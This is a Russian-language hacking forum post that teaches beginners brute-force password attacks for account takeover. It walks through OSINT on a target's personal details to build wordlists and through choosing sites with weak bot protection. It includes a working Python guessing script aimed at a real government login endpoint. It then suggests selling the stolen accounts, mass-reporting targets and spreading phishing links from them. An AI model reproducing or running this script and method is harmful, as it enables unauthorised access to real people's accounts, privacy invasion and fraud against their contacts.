Начинающим Как работает брутфорс

  • Автор темы taniberg
  • Дата начала
  • Просмотров 281 Просмотров

taniberg

Участник
18
0
6 Окт 2025
Сегодня хотел-бы рассказать о брутфорсе и о опыте его использования.

Опредение из гугла:

- Брутфорс (от англ. brute force — «грубая сила») — это метод подбора паролей или ключей путем перебора всех возможных комбинаций, используемый для получения доступа к защищенным данным или системам. Это атака методом проб и ошибок, часто применяемая в кибератаках для взлома аккаунтов, но также используемая специалистами по кибербезопасности для тестирования систем на уязвимости.

Простыми словами это метод, который подбирает пароль на основе каких либо данных.

Для чего и как используется брутфорс?
- В первую очередь - это взлом аккаунтов. Таким методом в 2010-х часто взламывали аккаунты в ВК.
- Существует множество утилит для брутфорса. Я написал собственное приложение, которое отправляет на сайт запросы с разными IP, создавая пароль из списка, состоящего например из имени, фамилии, даты рождения, кличек питомцов, а также самых популярных и простых паролей. Они перебираются разделяя их на части, создавая комбинации разной длины, вставка специальных символов и цифр, ставя слова в рандомных порядок и т.п. В итоге в 90% случаев пароль подбирался.э

password.jpg


Как создать утилиту для брутфорса?
- Для начала нужно собрать данные о цели, в этом нам поможет OSINT (сбор информации из открытых источников). С его помощью мы можем найти ФИО, дату рождения, соц. сети и т.п. После анализа мы можем составить список слов, которые будут использованы при поборе пароля.
- Теперь нужно выбрать платформу для взлома аккаунта. Лучше выбрать ту, у которой самая слабая защита от ботов, так как чаще всего человек использует один пароль для всех сайтов.
- Теперь требется скрипт, который будет подбирать пароли, ведь вручную сделать это невозможно. Нам потребуется Python и библиотека requests и random. Requests будет отправлять данные для входа на сайт, а random подбирать пароль.
Вот пример кода (требуются прокси, а для ускорения процесса многопоточность:
Код:
import random
import requests

# Исходный массив слов
words = ["admin", "qwerty", "root"]
max_length = 8  # максимальная длина итогового текста
def generate_string():
    # Выбираем случайное число слов для включения
    num_words = random.randint(1, len(words))
    selected_words = random.sample(words, num_words)

    result_parts = []

    for word in selected_words:
        # Решаем, брать ли целое слово или его часть
        if len(word) == 1:
            part = word
        else:
            # Определяем случайную длину части слова
            part_length = random.randint(1, len(word))
            start_index = random.randint(0, len(word) - part_length)
            part = word[start_index:start_index + part_length]
        result_parts.append(part)

    # Объединяем части слов
    result_str = ''.join(result_parts)

    # Вставляем случайные цифры
    num_digits = random.randint(0, 8)  # количество цифр
    for _ in range(num_digits):
        digit = str(random.randint(0, 9))
        insert_pos = random.randint(0, len(result_str))
        result_str = result_str[:insert_pos] + digit + result_str[insert_pos:]

    # Ограничиваем длину итоговой строки
    if len(result_str) > max_length:
        result_str = result_str[:max_length]

    return result_str

# Генерация и вывод 10000 результатов
while True:
    check = generate_string()
    print(check)
    url = 'https://example.com/login'  # URL-адрес, на который отправляем POST-запрос
    data = {
        'login': 'admin',
        'password': check
    }

    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)'
                  ' Chrome/115.0.0.0 Safari/537.36'
    }

    response = requests.post(
        'https://login.mos.ru/sps/login/methods/password',
        headers=headers,
        data=data
    )

    print(response.text)
    if response.status_code == 200:
        if ("некорректный" not in response.text):
            print("FOUND: " + check)
            break
    else:
        print('Ошибка:', response.status_code)


Что делать со взломанным аккаунтом?
- Можно забрать его себе если он представляет ценность, а можно собрать целую базу таких аккаунтов и продать за большую сумму. Также взломанные аккаунта можно использовать для других скриптов, например сносеры соц. сетей, которые в большом количестве отправляют жалобы на аккаунт таргета, а можно использовать его для рассылки фишинговых ссылок другим пользователям, чтобы при виде настоящего аккаунта, у них возникало меньше подозрений и они переходили по ссылке или скачивали файл. Выбор как использовать данную возможность стоит за вами.

Спасибо за прочтение, скоро будет статья про бэкдоры и RAT'ники!